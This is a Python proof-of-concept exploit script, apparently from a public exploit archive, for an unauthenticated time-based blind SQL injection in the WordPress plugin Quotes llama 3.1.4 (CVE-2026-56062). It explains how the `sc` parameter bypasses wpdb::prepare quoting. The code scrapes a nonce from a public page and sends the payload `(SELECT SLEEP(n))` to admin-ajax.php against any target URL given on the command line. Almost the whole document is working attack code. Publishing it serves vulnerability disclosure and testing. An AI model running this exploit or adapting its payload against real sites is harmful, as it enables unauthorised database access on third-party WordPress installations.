## https://sploitus.com/exploit?id=PACKETSTORM:226463
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Quotes llama <= 3.1.4 - Unauthenticated Time-Based Blind SQL Injection (select_search)
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/quotes-llama/
# Software Link: https://downloads.wordpress.org/plugin/quotes-llama.3.1.4.zip
# Version: 3.1.4 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2026-56062
"""
Quotes llama <= 3.1.4 registers the unauthenticated AJAX action select_search
(class-quotesllama.php:1050 wp_ajax_nopriv_select_search). The `sc` (search column) POST parameter
is passed as the %1s argument of a wpdb::prepare() call (class-quotesllama.php ~2094):
'SELECT ... FROM ' . $wpdb->prefix . 'quotes_llama' .
' WHERE %1s LIKE %s ORDER BY ...', $search_column, $like
`%1s` (width-modified) is NOT quoted by wpdb::prepare โ its quoting regex only matches a bare `%s` โ
and `$search_column` is not validated as an identifier, so `sc` is injected raw into column
position. sanitize_text_field() leaves parentheses/spaces intact.
Payload sc=(SELECT SLEEP(5)) executes while the query evaluates a quote row ->
... WHERE (SELECT SLEEP(5)) LIKE '%x%' ORDER BY ...
The handler requires a `quotes_llama_nonce` (verified at ~:2092). Any public page rendering a
quotes-llama shortcode prints it: gallery/auto modes embed gnonce="..." unconditionally; search
mode embeds nonce="..." when anonymous search is enabled. This PoC harvests it from such a page.
Prior state: plugin active (auto-creates wp_quotes_llama), at least one quote, and a published page
with a quotes-llama shortcode (e.g. [quotes-llama mode='gallery']).
"""
import argparse, sys, re, time
import requests
requests.packages.urllib3.disable_warnings()
def harvest_nonce(base, page):
h = requests.get(base + page, verify=False, timeout=20).text
m = re.findall(r'g?nonce="([a-f0-9]{10})"', h)
return m[0] if m else None
def probe(base, nonce, seconds):
d = {"action": "select_search", "search_form": "1", "nonce": nonce, "term": "x",
"sc": "(SELECT SLEEP(%d))" % seconds, "target": "quotes-llama-search"}
t = time.time()
requests.post(base + "/wp-admin/admin-ajax.php", data=d, verify=False, timeout=60)
return time.time() - t
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--page", default="/qlg/", help="path of a page with a quotes-llama shortcode")
ap.add_argument("--sleep", type=int, default=5)
args = ap.parse_args()
base = args.target.rstrip("/")
nonce = harvest_nonce(base, args.page)
if not nonce:
print(f"[-] no quotes_llama nonce on {args.page} (add a [quotes-llama mode='gallery'] page)")
return 1
print(f"[*] Target: {base} | quotes_llama_nonce: {nonce}")
t0 = probe(base, nonce, 0)
t5 = probe(base, nonce, args.sleep)
print(f"[*] SLEEP(0): {t0:.2f}s | SLEEP({args.sleep}): {t5:.2f}s")
if (t5 - t0) >= args.sleep - 1.5:
print(f"\n[+] SQL INJECTION CONFIRMED โ attacker-controlled SLEEP({args.sleep}) delayed the "
f"unauthenticated response by {t5 - t0:.2f}s (sc parameter, %1s column position).")
return 0
print("\n[-] not confirmed"); return 1
if __name__ == "__main__":
sys.exit(main())